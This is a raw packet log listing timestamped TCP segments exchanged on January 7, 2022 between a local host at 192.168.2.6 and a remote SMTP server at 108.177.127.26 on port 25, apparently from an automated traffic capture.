Jan 7, 2022 15:44:08.728210926 CET	50010	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:08.728219986 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.728247881 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.728332043 CET	50010	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:08.728393078 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.728414059 CET	50010	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:08.728420019 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.728574038 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.728600025 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.728626966 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.728697062 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.728724957 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.728725910 CET	50010	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:08.728750944 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.728770971 CET	50010	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:08.728780031 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.728811026 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.728832960 CET	50010	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:08.728837967 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.728888035 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.728899956 CET	50010	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:08.728916883 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.728919983 CET	50010	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:08.728949070 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.728952885 CET	50010	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:08.728979111 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.728982925 CET	50010	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:08.729008913 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.729012966 CET	50010	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:08.729037046 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.729039907 CET	50010	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:08.729104042 CET	50010	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:08.729141951 CET	50010	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:08.729151011 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.729181051 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.729207039 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.729238033 CET	50010	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:08.729243994 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.729265928 CET	50010	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:08.729268074 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.729298115 CET	50010	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:08.729343891 CET	50010	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:08.729363918 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.729386091 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.729409933 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.729433060 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.729454994 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.729461908 CET	50010	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:08.729497910 CET	50010	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:08.729516983 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.729542017 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.729553938 CET	50010	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:08.729563951 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.729587078 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.729609013 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.729615927 CET	50010	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:08.729672909 CET	50010	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:08.729703903 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.729718924 CET	50010	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:08.729726076 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.729751110 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.729764938 CET	50010	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:08.729789019 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.729805946 CET	50010	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:08.729815006 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.729837894 CET	50010	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:08.729842901 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.729866028 CET	50010	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:08.729923964 CET	50010	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:08.729998112 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.730062962 CET	50010	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:08.730067968 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.730144024 CET	50010	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:08.730382919 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.730408907 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.730436087 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.730463028 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.730490923 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.730492115 CET	50010	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:08.730520964 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.730531931 CET	50010	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:08.730546951 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.730573893 CET	50010	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:08.730576038 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.730603933 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.730628967 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.730633020 CET	50010	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:08.730671883 CET	50010	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:08.730699062 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.730716944 CET	50010	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:08.730727911 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.730770111 CET	50010	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:08.730802059 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.730804920 CET	50010	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:08.730830908 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.730858088 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.730884075 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.730906010 CET	50010	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:08.730947971 CET	50010	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:08.730992079 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.730993032 CET	50010	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:08.731023073 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.731091976 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.731101036 CET	50010	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:08.731118917 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.731143951 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.731156111 CET	50010	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:08.731173038 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.731180906 CET	50010	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:08.731214046 CET	50010	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:08.731239080 CET	50010	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:08.731247902 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.731277943 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.731303930 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.731327057 CET	50010	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:08.731331110 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.731344938 CET	50010	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:08.731355906 CET	50010	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:08.731362104 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.731388092 CET	50010	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:08.731417894 CET	50010	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:08.731434107 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.731508970 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.731538057 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.731554985 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.731574059 CET	50010	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:08.731581926 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.731611013 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.731640100 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.731642962 CET	50010	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:08.731667995 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.731669903 CET	50010	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:08.731693983 CET	50010	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:08.731735945 CET	50010	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:08.731740952 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.731764078 CET	50010	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:08.731811047 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.731839895 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.731842041 CET	50010	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:08.731864929 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.731894016 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.731914997 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.731930017 CET	50010	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:08.731933117 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.731961966 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.731967926 CET	50010	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:08.731981039 CET	50010	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:08.731990099 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.732008934 CET	50010	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:08.732021093 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.732034922 CET	50010	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:08.732048035 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.732073069 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.732100010 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.732125998 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.732152939 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.732181072 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.732208014 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.732225895 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.732244015 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.732271910 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.732297897 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.732322931 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.732350111 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.732379913 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.732450962 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.732476950 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.732503891 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.732531071 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.732554913 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.732582092 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.732606888 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.732634068 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.732661009 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.732778072 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.752065897 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.752091885 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.752104044 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.752121925 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.752135992 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.752151012 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.752257109 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.752276897 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.752291918 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.752372026 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.752388000 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.752460957 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.752477884 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.752559900 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.752574921 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.752644062 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.752660990 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.752733946 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.752840042 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.752875090 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.752892017 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.752979040 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.752996922 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.753036022 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.753118038 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.753135920 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.753263950 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.753281116 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.753376961 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.753396034 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.753406048 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.753460884 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.753479004 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.753535032 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.753628016 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.753644943 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.753751040 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.753767014 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.753942966 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.754113913 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.754131079 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.754147053 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.754216909 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.754267931 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.754388094 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.754404068 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.754419088 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.754551888 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.754568100 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.754668951 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.754714966 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.755217075 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.755234957 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.755872965 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.755888939 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.755904913 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.755918980 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.755934954 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.755950928 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.756000042 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.756016970 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.756114006 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.756160021 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.756175995 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.756231070 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.756299973 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.756328106 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.756375074 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.756423950 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.756757975 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.756836891 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.757008076 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.757030964 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.757102013 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.757287025 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.757498980 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.757523060 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.757818937 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.757841110 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.758455992 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.758817911 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.758841038 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.758898973 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.758920908 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.759011984 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.759035110 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.759134054 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.759155035 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.759175062 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.759196997 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.759288073 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.759309053 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.759330034 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.759351015 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.759422064 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.759442091 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.759476900 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.759500027 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.759567022 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.759588957 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.759710073 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.759730101 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.759751081 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.759772062 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.759793043 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.759813070 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.759879112 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.759963989 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.759985924 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.760006905 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.760027885 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.760049105 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.760118961 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.760138988 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.760202885 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.760278940 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.760299921 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.760365963 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.760387897 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.760461092 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.760483027 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.760503054 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.760524035 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.760598898 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.760621071 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.760730028 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.760750055 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.760770082 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.760792017 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.760812044 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.760834932 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.760943890 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.760966063 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.760987997 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.761044025 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.761064053 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.761123896 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.761147022 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.761207104 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.761230946 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.761287928 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.761310101 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.761328936 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.761408091 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.761430979 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.761451960 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.761571884 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.761591911 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.761612892 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.761635065 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.761655092 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.761676073 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.761697054 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.761802912 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.761823893 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.761885881 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.761909008 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.761965990 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.761989117 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.762051105 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.762073994 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.762094021 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.762212992 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.762234926 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.762257099 CET	25	50010	108.177.127.26	192.168.2.6
